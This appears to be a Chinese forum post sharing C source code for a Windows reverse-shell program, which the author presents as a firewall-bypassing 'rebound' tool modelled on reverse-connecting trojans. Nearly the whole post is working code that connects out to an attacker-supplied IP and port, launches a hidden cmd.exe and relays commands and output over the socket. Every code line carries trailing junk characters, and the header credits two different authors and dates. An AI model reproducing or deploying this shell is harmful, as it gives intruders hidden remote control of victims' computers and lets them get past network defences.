这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -4v2]
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/* ============================== {Rz(0oD\
Rebound port in Windows NT cB6LJ}R
By wind,2006/7 $EnBigb!
===============================*/ AQGl}%k_
#include XI>HC'.0
#include $}JWJ\-]
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#pragma comment(lib,"wsock32.lib") f+%s.[;A
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void OutputShell(); 7n[0)XR>
SOCKET sClient; @Yw>s9X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ID~}pEQ
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void main(int argc,char **argv) &S=xSs:q.
{ gn:&akg
WSADATA stWsaData; P>hR${KE
int nRet; Hyb_>n
SOCKADDR_IN stSaiClient,stSaiServer; fp?/Dg"49.
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if(argc != 3) !}hG|Y6s
{ ' 7H"ezt
printf("Useage:\n\rRebound DestIP DestPort\n"); /pWKV>tjj
return; h,ipQ>
} &&7&/
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WSAStartup(MAKEWORD(2,2),&stWsaData); 98*C/=^TH{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^g=j`f[T
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stSaiClient.sin_family = AF_INET; >W6?!ue_
stSaiClient.sin_port = htons(0); r8>Qs RnU%
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ub]s>aqy
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p^s:s-"f\
{ ZKJhmk
printf("Bind Socket Failed!\n"); u =lsH
return; YJ}9VY<}1K
} t8ORfO+
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stSaiServer.sin_family = AF_INET; V*W H
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); K$wxiGg8P
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i,mZg+;w
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :Q}Zb,32
{ &hJQHlyJM0
printf("Connect Error!"); _q}^#-
return; -Np}<O`./
} y?UB?2VN
OutputShell(); RBpv40n0
} zFr#j~L"
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void OutputShell() Lb~'
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{ /H$:Q|T}
char szBuff[1024]; A&V'WahC@I
SECURITY_ATTRIBUTES stSecurityAttributes; P} w0=
OSVERSIONINFO stOsversionInfo; 2>g!+p Ox
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MaZVGrcC
STARTUPINFO stStartupInfo; hV NT
char *szShell; ,M Ugww!.
PROCESS_INFORMATION stProcessInformation; !`dMTW
unsigned long lBytesRead; I7+yu>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7w}]9wCN?
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jEm=A8q
stSecurityAttributes.lpSecurityDescriptor = 0; juQ?k xOB
stSecurityAttributes.bInheritHandle = TRUE; yJdkDVxYr
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w&
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i^)JxEPr w
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qp-P[Tc
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,"5xKF+cS
stStartupInfo.wShowWindow = SW_HIDE; !?z"d
stStartupInfo.hStdInput = hReadPipe; cRWYS[O?-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7 iQa)8,
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GetVersionEx(&stOsversionInfo); v!#koqd1y.
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switch(stOsversionInfo.dwPlatformId) @v/
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{ |$[.X3i
case 1: e\}'i-
szShell = "command.com"; 8peK[sz
break; 9O\yIL
default: /d>Jkv
szShell = "cmd.exe"; dB8 e
break; @&GY5<&b
} #e[igxwi
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HMw}pp:
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send(sClient,szMsg,77,0); >:0^v'[
while(1) =WK's8FB;8
{ 7! ~)a
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |Ew&. fgz
if(lBytesRead) oN,9#*PVL
{ !T.yv5ge'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zANsv9R~
send(sClient,szBuff,lBytesRead,0); tcD5"ALJ
} V]/$ dJ
else :/6u*HwZh
{ >fp_$bjd
lBytesRead=recv(sClient,szBuff,1024,0); VqS1n
if(lBytesRead<=0) break; VP^{-mDph
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); o97*3W]
} &H%z1Lp
} )Ut9k
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return; !Hj
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}